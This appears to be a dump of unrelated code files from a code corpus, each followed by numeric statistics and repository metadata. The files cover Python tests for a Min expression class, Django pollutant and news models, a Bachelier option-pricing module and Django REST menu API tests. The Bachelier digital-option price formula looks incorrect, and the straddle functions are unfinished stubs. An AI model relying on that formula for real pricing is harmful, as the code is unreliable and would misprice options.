Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2), 0 def test_undefined_evaluated_variable_subtraction(self): a1 = UndefinedLitteral() a2 = ALitteral(Variable('X')) expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2), 0 def test_integer_unevaluated_variable_min(self): a1 = ALitteral(10) a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_unevaluated_variable_integer_min(self): a1 = ALitteral(Variable('Y')) a2 = ALitteral(20) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_string_unevaluated_variable_min(self): a1 = ALitteral('abc') a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_unevaluated_variable_string_min(self): a1 = ALitteral(Variable('Y')) a2 = ALitteral('def') expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_float_unevaluated_variable_min(self): a1 = ALitteral(pi) a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_unevaluated_variable_float_min(self): a1 = ALitteral(Variable('Y')) a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_unevaluated_variable_unevaluated_variable_min(self): a1 = ALitteral(Variable('Y')) a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_unevaluated_variable_evaluated_variable_min(self): a1 = ALitteral(Variable('Y')) a2 = ALitteral(Variable('X')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_evaluated_variable_unevaluated_variable_min(self): a1 = ALitteral(Variable('X')) a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2) def test_unevaluated_variable_undefined_subtraction(self): a1 = ALitteral(Variable('Y')) a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2), 0 def test_undefined_unevaluated_variable_subtraction(self): a1 = UndefinedLitteral() a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2), 0 def test_integer_self_litteral_min_with_empty_evaluation(self): a1 = ALitteral(10) a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_integer_self_litteral_min_with_non_empty_evaluation(self): a1 = ALitteral(10) a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_self_litteral_integer_min_with_empty_evaluation(self): a1 = SelfLitteral() a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_self_litteral_integer_min_with_non_empty_evaluation(self): a1 = SelfLitteral() a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_string_self_litteral_min_with_empty_evaluation(self): a1 = ALitteral('abc') a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_string_self_litteral_min_with_non_empty_evaluation(self): a1 = ALitteral('abc') a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_self_litteral_string_min_with_empty_evaluation(self): a1 = SelfLitteral() a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_self_litteral_string_min_with_non_empty_evaluation(self): a1 = SelfLitteral() a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_float_self_litteral_min_with_empty_evaluation(self): a1 = ALitteral(pi) a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_float_self_litteral_min_with_non_empty_evaluation(self): a1 = ALitteral(pi) a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_self_litteral_float_min_with_empty_evaluation(self): a1 = SelfLitteral() a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_self_litteral_float_min_with_non_empty_evaluation(self): a1 = SelfLitteral() a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_self_litteral_self_litteral_min_with_empty_evaluation(self): a1 = SelfLitteral() a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1, 1), 1) def test_self_litteral_self_litteral_min_with_non_empty_evaluation(self): a1 = SelfLitteral() a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 1), 1) def test_self_litteral_undefined_min_with_empty_evaluation(self): a1 = SelfLitteral() a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1, 1) def test_self_litteral_undefined_min_with_non_empty_evaluation(self): a1 = SelfLitteral() a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2, 1) def test_undefined_self_litteral_min_with_empty_evaluation(self): a1 = UndefinedLitteral() a2 = SelfLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1, 1) def test_undefined_self_litteral_min_with_non_empty_evaluation(self): a1 = UndefinedLitteral() a2 = SelfLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2, 1) def test_self_litteral_evaluated_variable_min(self): a1 = ALitteral(Variable('X')) a2 = SelfLitteral() expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 2), 1) def test_evaluated_variable_self_litteral_min(self): a1 = SelfLitteral() a2 = ALitteral(Variable('X')) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2, 2), 1) def test_self_litteral_unevaluated_variable_min(self): a1 = SelfLitteral() a2 = ALitteral(Variable('Y')) expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2, 1) def test_unevaluated_variable_self_litteral_min(self): a1 = ALitteral(Variable('Y')) a2 = SelfLitteral() expr = Min(a1, a2) with self.assertRaises(ValueError): expr.value(self.eval2, 1)
33.456
81
0.629902
2,044
16,728
4.936399
0.0318
0.051338
0.066006
0.080674
0.95332
0.941923
0.922795
0.897621
0.849257
0.79554
0
0.040892
0.260282
16,728
499
82
33.523046
0.774527
0
0
0.77381
0
0
0.007054
0
0
0
0
0
0.17619
1
0.180952
false
0
0.014286
0
0.197619
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
455966bb2a729bc0c659a9da8ace2c2df1bdd2e1
2,037
py
Python
website/home/models.py
divyam3897/VayuAnukulani
d1b881ac6268c24761dc0ef6db296d7e5ee1a22e
[ "MIT" ]
1
2019-04-05T18:14:01.000Z
2019-04-05T18:14:01.000Z
website/home/models.py
m-santh/VayuAnukulani
d1b881ac6268c24761dc0ef6db296d7e5ee1a22e
[ "MIT" ]
18
2020-01-28T22:36:26.000Z
2020-07-28T17:01:35.000Z
website/home/models.py
m-santh/VayuAnukulani
d1b881ac6268c24761dc0ef6db296d7e5ee1a22e
[ "MIT" ]
3
2019-04-01T10:33:20.000Z
2020-10-23T23:29:09.000Z
from django.db import models from django.utils import timezone class pollutants(models.Model): date = models.DateTimeField(auto_now_add=True) pm25 = models.FloatField(null=True, blank=True) pm10 = models.FloatField(null=True, blank=True) no2 = models.FloatField(null=True, blank=True) so2 = models.FloatField(null=True, blank=True) co = models.FloatField(null=True, blank=True) temp = models.FloatField(null=True, blank=True) hum = models.FloatField(null=True, blank=True) location = models.CharField(max_length=100) def __str__(self): return str(self.date) class concPollutant(models.Model): date = models.DateTimeField(auto_now_add=True) pm25 = models.FloatField(null=True, blank=True) pm10 = models.FloatField(null=True, blank=True) no2 = models.FloatField(null=True, blank=True) so2 = models.FloatField(null=True, blank=True) co = models.FloatField(null=True, blank=True) temp = models.FloatField(null=True, blank=True) o3 = models.FloatField(null=True, blank=True) hour = models.IntegerField(null=True, blank=True) month = models.IntegerField(null=True, blank=True) location = models.CharField(max_length=100) def __str__(self): return str(self.date) class classPollutant(models.Model): date = models.DateTimeField() pm25 = models.IntegerField(null=True, blank=True) so2 = models.IntegerField(null=True, blank=True) no2 = models.IntegerField(null=True, blank=True) pm10 = models.IntegerField(null=True, blank=True) location = models.CharField(max_length=100) def __str__(self): return str(self.date) class regrPollutant(models.Model): date = models.DateTimeField() pm25 = models.IntegerField(null=True, blank=True) so2 = models.IntegerField(null=True, blank=True) no2 = models.IntegerField(null=True, blank=True) pm10 = models.IntegerField(null=True, blank=True) location = models.CharField(max_length=100) def __str__(self): return str(self.date)
37.036364
54
0.713304
266
2,037
5.37218
0.157895
0.13436
0.218335
0.285514
0.914626
0.914626
0.855843
0.855843
0.855843
0.855843
0
0.021752
0.164948
2,037
54
55
37.722222
0.818342
0
0
0.782609
0
0
0
0
0
0
0
0
0
1
0.086957
false
0
0.043478
0.086957
1
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
10
4559dcf0eef681deca7849bd9cb3131b00838397
10,008
py
Python
putcall/formulas/interest_rate_options/bachelier.py
pbrisk/optionpricing
a5984b52cb7bae33cfd48490439acea4844af0f9
[ "Apache-2.0" ]
null
null
null
putcall/formulas/interest_rate_options/bachelier.py
pbrisk/optionpricing
a5984b52cb7bae33cfd48490439acea4844af0f9
[ "Apache-2.0" ]
null
null
null
putcall/formulas/interest_rate_options/bachelier.py
pbrisk/optionpricing
a5984b52cb7bae33cfd48490439acea4844af0f9
[ "Apache-2.0" ]
2
2017-12-08T10:18:08.000Z
2018-10-20T15:59:33.000Z
# -*- coding: utf-8 -*- # putcall # ------- # Collection of classical option pricing formulas. # # Author: sonntagsgesicht, based on a fork of Deutsche Postbank [pbrisk] # Version: 0.2, copyright Wednesday, 18 September 2019 # Website: https://github.com/sonntagsgesicht/putcall # License: Apache License 2.0 (see LICENSE file) from math import exp, sqrt, pi from mathtoolspy import cdf_abramowitz_stegun as normal_cdf from mathtoolspy import density_normal_dist as normal_density from ..option_payoffs import option_payoff, digital_option_payoff, straddle_payoff def _bachelier_param(forward_value, strike_value, implied_vol_value, time_value): sigma = implied_vol_value * sqrt(time_value) fms = forward_value - strike_value d = fms / sigma if sigma > 0.0 else 0.0 return sigma, fms, d def bachelier(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Bachelier formula (Black formula for normal underlying distribution). :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return option_payoff(forward_value, strike_value, is_call_bool) # call # call_value = fms * normal_cdf(d) + exp(-d ** 2 / 2) * sigma / sqrt(2 * pi) # intern version call_value = fms * normal_cdf(d) + sigma * normal_density(d) put_value = -fms * normal_cdf(-d) + sigma * normal_density(d) return call_value if is_call_bool else call_value - fms # put def bachelier_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ delta sensitivity for Bachelier formula. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 1.0 if fms > 0.0 else 0.0 return normal_cdf(d) if is_call_bool else -normal_cdf(-d) def bachelier_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ gamma sensitivity for Bachelier formula. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return normal_density(d) / sigma def bachelier_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ vega sensitivity for Bachelier formula. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return sqrt(time_value) * normal_density(d) def bachelier_digital(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Bachelier formula for digital option (Black formula for normal underlying distribution). :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return digital_option_payoff(forward_value, strike_value, is_call_bool) # call call_price = -1 * normal_cdf(d) + exp(-d ** 2 / 2) * sigma / sqrt(2 * pi) return call_price if is_call_bool else call_price + 1 # put def bachelier_digital_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ delta sensitivity for Bachelier formula for digital option. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 # call call_value = normal_density(d) / sigma return call_value if is_call_bool else -call_value # put def bachelier_digital_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ gamma sensitivity for Bachelier formula for digital option. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return d * normal_density(d) / (implied_vol_value * implied_vol_value * time_value) def bachelier_digital_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ vega sensitivity for Bachelier formula for digital option. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 # call call_value = -d * normal_density(d) / implied_vol_value return call_value if is_call_bool else -call_value # put def bachelier_straddle(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Bachelier formula for straddle option on log-normal underlying distribution. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return straddle_payoff(forward_value, strike_value, is_call_bool) return None # TODO Bachelier for straddle payoff def bachelier_straddle_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Bachelier delta sensitivity for straddle payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 1.0 if fms >= 0.0 else -1.0 return None # TODO Bachelier delta for straddle payoff def bachelier_straddle_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Bachelier gamma sensitivity for straddle payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return None # TODO Bachelier gamma for straddle payoff def bachelier_straddle_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool): """ Bachelier vega sensitivity for straddle payoff. :param float forward_value: forward price of underlying at exercise date :param float strike_value: strike price :param float implied_vol_value: volatility of underlying price :param float time_value: year fraction until exercise date :param boolean is_call_bool: call -> True, put -> False :return: float """ sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value) if sigma == 0.0: return 0.0 return None # TODO Bachelier vega for straddle payoff
34.75
103
0.731715
1,409
10,008
4.946771
0.069553
0.068867
0.088235
0.095696
0.873888
0.866284
0.839168
0.83056
0.824964
0.814347
0
0.009076
0.196343
10,008
287
104
34.87108
0.857516
0.496403
0
0.5
0
0
0
0
0
0
0
0.013937
0
1
0.175676
false
0
0.054054
0
0.567568
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
8
4584f08390f63c05a52d49e5831c5ef7f101e8fc
107
py
Python
pyvista/examples/__init__.py
sampotter/pyvista
491f9b103db907f3ba42fdc34135512ecc92727b
[ "MIT" ]
2
2020-12-11T07:31:21.000Z
2021-04-07T09:05:21.000Z
pyvista/examples/__init__.py
sampotter/pyvista
491f9b103db907f3ba42fdc34135512ecc92727b
[ "MIT" ]
6
2022-03-11T23:21:22.000Z
2022-03-25T03:32:21.000Z
pyvista/examples/__init__.py
sampotter/pyvista
491f9b103db907f3ba42fdc34135512ecc92727b
[ "MIT" ]
1
2020-03-23T15:46:56.000Z
2020-03-23T15:46:56.000Z
"""Examples routines.""" from pyvista.examples.downloads import * from pyvista.examples.examples import *
21.4
40
0.775701
12
107
6.916667
0.5
0.26506
0.457831
0
0
0
0
0
0
0
0
0
0.102804
107
4
41
26.75
0.864583
0.168224
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
45a12b512a8371ed1afd458212f0b26a4f4d764f
1,140
py
Python
web/models.py
Chaixi/My-Django-Demo
43cea290f4a4a1c1a3b981eae3be11cc1188b103
[ "MIT" ]
null
null
null
web/models.py
Chaixi/My-Django-Demo
43cea290f4a4a1c1a3b981eae3be11cc1188b103
[ "MIT" ]
null
null
null
web/models.py
Chaixi/My-Django-Demo
43cea290f4a4a1c1a3b981eae3be11cc1188b103
[ "MIT" ]
null
null
null
from django.db import models # Create your models here. class News(models.Model): title = models.CharField(max_length=100) content = models.TextField() source = models.CharField(max_length=100) link = models.CharField(max_length=255) release_time = models.DateTimeField() read_status = models.IntegerField() get_time = models.DateTimeField() imgs = models.CharField(max_length=255) class jwc_News(models.Model): title = models.CharField(max_length=100) content = models.TextField() source = models.CharField(max_length=100) link = models.CharField(max_length=255) release_time = models.DateTimeField() read_status = models.IntegerField() get_time = models.DateTimeField() imgs = models.CharField(max_length=255) class xsc_News(models.Model): title = models.CharField(max_length=100) content = models.TextField() source = models.CharField(max_length=100) link = models.CharField(max_length=255) release_time = models.DateTimeField() read_status = models.IntegerField() get_time = models.DateTimeField() imgs = models.CharField(max_length=255)
35.625
45
0.729825
140
1,140
5.778571
0.221429
0.222497
0.266996
0.355995
0.932015
0.932015
0.932015
0.932015
0.932015
0.932015
0
0.037696
0.162281
1,140
32
46
35.625
0.809424
0.021053
0
0.857143
0
0
0
0
0
0
0
0
0
1
0
false
0
0.035714
0
1
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
11
45c37290aba50b71d6025dbf3abf806d4bb00a63
15,870
py
Python
menu/tests/tests_views.py
pawelszopa/django_api_menu
292c117aa4fea57aed80bbfc9cc2bece5c0da434
[ "Beerware" ]
null
null
null
menu/tests/tests_views.py
pawelszopa/django_api_menu
292c117aa4fea57aed80bbfc9cc2bece5c0da434
[ "Beerware" ]
null
null
null
menu/tests/tests_views.py
pawelszopa/django_api_menu
292c117aa4fea57aed80bbfc9cc2bece5c0da434
[ "Beerware" ]
null
null
null
import json from datetime import timedelta, date, datetime from django.contrib.auth import get_user_model from django.test import Client, TestCase from django.urls import reverse from rest_framework import status from rest_framework.exceptions import ErrorDetail from menu.models import Dish, Menu from menu.serializers import DishSerializer client = Client() class DishViewSetTest(TestCase): def setUp(self) -> None: self.user = get_user_model().objects.create_user( username="test", password="test" ) self.staff_user = get_user_model().objects.create_user( username="test1", password="test1", is_staff=True ) self.dish_meat = Dish.objects.create( name="Test Meat Dish 1", description="Test meat description 1", price="10.50", prep_time=60, is_vegetarian=False, author=self.user, ) self.dish_vege = Dish.objects.create( name="Test Vege Dish 1", description="Test vege description 1", price="10.50", prep_time=60, is_vegetarian=True, author=self.staff_user, ) self.valid_dish = { "name": "123", "description": "123", "price": "123", "prep_time": 123, "is_vegetarian": False, } self.invalid_dish = { "name": "123", "description": "123", "price": "123", "prep_time": 123, } def test_get_all_dishes_not_logged_user(self): response = client.get(reverse("menu:dishes-list")) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_get_all_dishes_logged_user(self): client.login(username="test", password="test") response = client.get(reverse("menu:dishes-list")) dishes = Dish.objects.all() serializer = DishSerializer(dishes, many=True) self.assertEqual(response.data, serializer.data) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_post_valid_dish_not_logged_user(self): response = client.post( reverse("menu:dishes-list"), data=json.dumps(self.valid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_post_valid_dish_logged_user(self): client.login(username="test", password="test") response = client.post( reverse("menu:dishes-list"), data=json.dumps(self.valid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_post_invalid_dish_logged_user(self): client.login(username="test", password="test") response = client.post( reverse("menu:dishes-list"), data=json.dumps(self.invalid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_put_valid_dish_not_logged_user(self): response = client.put( reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}), data=json.dumps(self.valid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_put_valid_dish_logged_user(self): client.login(username="test", password="test") response = client.put( reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}), data=json.dumps(self.valid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_put_valid_dish_logged_user_not_owner(self): client.login(username="test", password="test") response = client.put( reverse("menu:dishes-detail", kwargs={"pk": self.dish_vege.pk}), data=json.dumps(self.valid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_put_invalid_dish_logged_user(self): client.login(username="test", password="test") response = client.put( reverse("menu:dishes-detail", kwargs={"pk": self.dish_vege.pk}), data=json.dumps(self.invalid_dish), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_delete_dish_not_logged_user(self): response = client.delete( reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_delete_dish_logged_user(self): client.login(username="test", password="test") response = client.delete( reverse("menu:dishes-detail", kwargs={"pk": self.dish_meat.pk}), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) def test_delete_dish_logged_user_not_owner(self): client.login(username="test", password="test") response = client.delete( reverse("menu:dishes-detail", kwargs={"pk": self.dish_vege.pk}), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) class MenuViewSetTest(TestCase): def setUp(self) -> None: self.user = get_user_model().objects.create_user( username="test", password="test" ) self.staff_user = get_user_model().objects.create_user( username="test1", password="test1", is_staff=True ) self.dish_meat = Dish.objects.create( name="Test Meat Dish 1", description="Test meat description 1", price="10.50", prep_time=60, is_vegetarian=False, author=self.user, ) self.dish_meat_2 = Dish.objects.create( name="Test Meat Dish2", description="Test meat description 12", price="10.50", prep_time=60, is_vegetarian=False, author=self.user, ) self.menu = Menu.objects.create( name="Test Menu 1", description="Test menu description 1", author=self.user ) self.menu.dish.add(self.dish_meat) self.menu_staff = Menu.objects.create( name="Test Menu 2", description="Test menu description 1", author=self.staff_user, ) self.menu_staff.dish.add(self.dish_meat) self.menu_staff.dish.add(self.dish_meat_2) self.valid_menu = { "name": "123", "description": "123", "dish": [self.dish_meat.pk], } self.invalid_menu = { "name": "123" * 1500, "description": "123", "dish": [self.dish_meat.pk], } def test_get_all_menus_not_logged_user(self): response = client.get(reverse("menu:cards-list")) menus = list(Menu.objects.all().order_by("pk")) self.assertEqual(response.data[0]["id"], menus[0].pk) self.assertEqual(response.data[1]["id"], menus[1].pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_get_all_menus_logged_user(self): client.login(username="test", password="test") response = client.get(reverse("menu:cards-list")) menus = list(Menu.objects.all().order_by("pk")) self.assertEqual(response.data[0]["id"], menus[0].pk) self.assertEqual(response.data[1]["id"], menus[1].pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_sort_name_ascending(self): response = client.get(reverse("menu:cards-list"), {'ordering': 'name'}) menus = list(Menu.objects.all().order_by("name")) self.assertEqual(response.data[0]["id"], menus[0].pk) self.assertEqual(response.data[1]["id"], menus[1].pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_sort_name_descending(self): response = client.get(reverse("menu:cards-list"), {'ordering': '-name'}) menus = list(Menu.objects.all().order_by("-name")) self.assertEqual(response.data[0]["id"], menus[0].pk) self.assertEqual(response.data[1]["id"], menus[1].pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_sort_dishes_count_ascending(self): response = client.get(reverse("menu:cards-list"), {'ordering': 'dishes_count'}) self.assertEqual(response.data[0]["id"], self.menu.pk) self.assertEqual(response.data[1]["id"], self.menu_staff.pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_sort_dishes_count_descending(self): response = client.get(reverse("menu:cards-list"), {'ordering': '-dishes_count'}) self.assertEqual(response.data[0]["id"], self.menu_staff.pk) self.assertEqual(response.data[1]["id"], self.menu.pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_filter_name_empty(self): response = client.get(reverse("menu:cards-list"), {'search': 'pawel'}) print(response.data) self.assertEqual(len(response.data), 0) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_filter_one_entry(self): response = client.get(reverse("menu:cards-list"), {'search': '1'}) self.assertEqual(len(response.data), 1) self.assertEqual(response.data[0]["id"], self.menu.pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_filter_two_entry(self): response = client.get(reverse("menu:cards-list"), {'search': 'Test'}) self.assertEqual(len(response.data), 2) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_search_created_at_invalid_data(self): date_to_search = date.today() + timedelta(days=1) response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_to_search}) self.assertEqual(response.data, {'created_at__gte': [ErrorDetail(string='Enter a valid date/time.', code='invalid')]}) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_search_created_at_empty_entry(self): date_to_search = datetime.now() + timedelta(days=1) response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_to_search}) self.assertEqual(len(response.data), 0) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_search_invalid_combination_created_at(self): date_end = datetime.now() + timedelta(days=1) date_start = datetime.now() - timedelta(days=1) response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_end, 'created_at__lte': date_start}) self.assertEqual(len(response.data), 0) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_search_valid_combination_created_at(self): date_end = datetime.now() + timedelta(days=1) date_start = datetime.now() - timedelta(days=1) response = client.get(reverse("menu:cards-list"), {'created_at__gte': date_start, 'created_at__lte': date_end}) self.assertEqual(len(response.data), 2) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_search_updated_at_invalid_data(self): date_to_search = date.today() + timedelta(days=1) response = client.get(reverse("menu:cards-list"), {'updated_at': date_to_search}) self.assertEqual(response.data, {'updated_at': [ErrorDetail(string='Enter a valid date/time.', code='invalid')]}) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_search_updated_at_valid_data(self): response = client.get(reverse("menu:cards-list"), {'updated_at': self.menu.updated_at}) self.assertEqual(len(response.data), 1) self.assertEqual(response.data[0]["id"], self.menu.pk) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_post_valid_menu_not_logged_user(self): response = client.post( reverse("menu:cards-list"), data=json.dumps(self.valid_menu), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_post_valid_menu_logged_user(self): client.login(username="test", password="test") response = client.post( reverse("menu:cards-list"), data=json.dumps(self.valid_menu), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_post_invalid_menu_logged_user(self): client.login(username="test", password="test") response = client.post( reverse("menu:cards-list"), data=json.dumps(self.invalid_menu), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_put_valid_menu_not_logged_user(self): response = client.put( reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}), data=json.dumps(self.valid_menu), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_put_valid_menu_logged_user(self): client.login(username="test", password="test") response = client.put( reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}), data=json.dumps(self.valid_menu), content_type="application/json", ) 